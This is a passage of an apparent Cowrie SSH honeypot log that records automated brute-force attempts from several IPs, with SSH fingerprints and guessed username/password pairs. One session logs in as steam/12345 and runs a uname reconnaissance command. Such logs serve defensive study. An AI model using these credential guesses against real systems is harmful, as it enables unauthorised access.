ac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:47.574796Z","src_ip":"91.92.40.36","session":"69306fe622b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"123456","message":"login attempt [demo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:48.616649Z","src_ip":"91.92.40.36","session":"69306fe622b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:50.210603Z","src_ip":"91.92.40.36","session":"69306fe622b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":49226,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e2b047f203d","protocol":"ssh","message":"New connection: 37.233.85.71:49226 (10.17.0.5:22) [session: 8e2b047f203d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:55.262027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:55.268060Z","src_ip":"37.233.85.71","session":"8e2b047f203d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:55.381629Z","src_ip":"37.233.85.71","session":"8e2b047f203d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kolbaska","message":"login attempt [root/kolbaska] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:55.722413Z","src_ip":"37.233.85.71","session":"8e2b047f203d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":42200,"dst_ip":"10.17.0.5","dst_port":22,"session":"22746fba549f","protocol":"ssh","message":"New connection: 91.92.40.36:42200 (10.17.0.5:22) [session: 22746fba549f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:56.628579Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:56.837965Z","src_ip":"37.233.85.71","session":"8e2b047f203d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:57.083893Z","src_ip":"91.92.40.36","session":"22746fba549f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:58.342730Z","src_ip":"91.92.40.36","session":"22746fba549f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":26662,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3f4ddee1eb0","protocol":"ssh","message":"New connection: 91.92.40.36:26662 (10.17.0.5:22) [session: d3f4ddee1eb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:02.961233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:03.116698Z","src_ip":"91.92.40.36","session":"d3f4ddee1eb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:04.462902Z","src_ip":"91.92.40.36","session":"22746fba549f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:04.564547Z","src_ip":"91.92.40.36","session":"d3f4ddee1eb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55546,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ea29c549db4","protocol":"ssh","message":"New connection: 91.92.40.36:55546 (10.17.0.5:22) [session: 9ea29c549db4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:08.040809Z"}
{"eventid":"cowrie.session.closed","duration":"11.4","message":"Connection lost after 11.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:08.071195Z","src_ip":"91.92.40.36","session":"22746fba549f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:09.281988Z","src_ip":"91.92.40.36","session":"9ea29c549db4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:09.285949Z","src_ip":"91.92.40.36","session":"9ea29c549db4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.146","src_port":45330,"dst_ip":"159.203.135.109","dst_port":22,"session":"196125acad02","protocol":"ssh","message":"New connection: 160.187.180.146:45330 (159.203.135.109:22) [session: 196125acad02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:12.348730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:12.353316Z","src_ip":"160.187.180.146","session":"196125acad02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:12.575433Z","src_ip":"160.187.180.146","session":"196125acad02","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"12345","message":"login attempt [steam/12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:13.257972Z","src_ip":"91.92.40.36","session":"d3f4ddee1eb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwert","message":"login attempt [root/12345qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:13.488794Z","src_ip":"160.187.180.146","session":"196125acad02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"matt","password":"matt","message":"login attempt [matt/matt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:13.525530Z","src_ip":"91.92.40.36","session":"9ea29c549db4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:14.722137Z","src_ip":"160.187.180.146","session":"196125acad02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:15.138939Z","src_ip":"91.92.40.36","session":"9ea29c549db4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:16.163825Z","src_ip":"91.92.40.36","session":"d3f4ddee1eb0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:16.167201Z","src_ip":"91.92.40.36","session":"d3f4ddee1eb0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"1.6","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:17.731705Z","src_ip":"91.92.40.36","session":"d3f4ddee1eb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:17.772471Z","src_ip":"91.92.40.36","session":"d3f4ddee1eb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":35116,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b84ebf1b3a9","protocol":"ssh","message":"New connection: 94.159.110.201:35116 (10.17.0.5:22) [session: 1b84ebf1b3a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:18.698201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:18.717427Z","src_ip":"94.159.110.201","session":"1b84ebf1b3a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":11692,"dst_ip":"10.17.0.5","dst_port":22,"session":"356dc782c374","protocol":"ssh","message":"New connection: 91.92.40.36:11692 (10.17.0.5:22) [session: 356dc782c374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:18.771276Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:18.842033Z","src_ip":"94.159.110.201","session":"1b84ebf1b3a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23051995","message":"login attempt [root/23051995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:19.210775Z","src_ip":"94.159.110.201","session":"1b84ebf1b3a9","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:19.683729Z","src_ip":"91.92.40.36","session":"356dc782c374","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:20.335365Z","src_ip":"94.159.110.201","session":"1b84ebf1b3a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:20.346577Z","src_ip":"91.92.40.36","session":"356dc782c374","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:25.622946Z","src_ip":"91.92.40.36","session":"356dc782c374","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":11744,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c2bd9266f98","protocol":"ssh","message":"New connection: 91.92.40.36:11744 (10.17.0.5:22) [session: 0c2bd9266f98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:26.745338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:27.427401Z","src_ip":"91.92.40.36","session":"0c2bd9266f98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:28.437523Z","src_ip":"91.92.40.36","session":"356dc782c374","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:25:28.457282Z","src_ip":"91.92.40.36","session":"0c2bd9266f98","protocol":"ssh"}
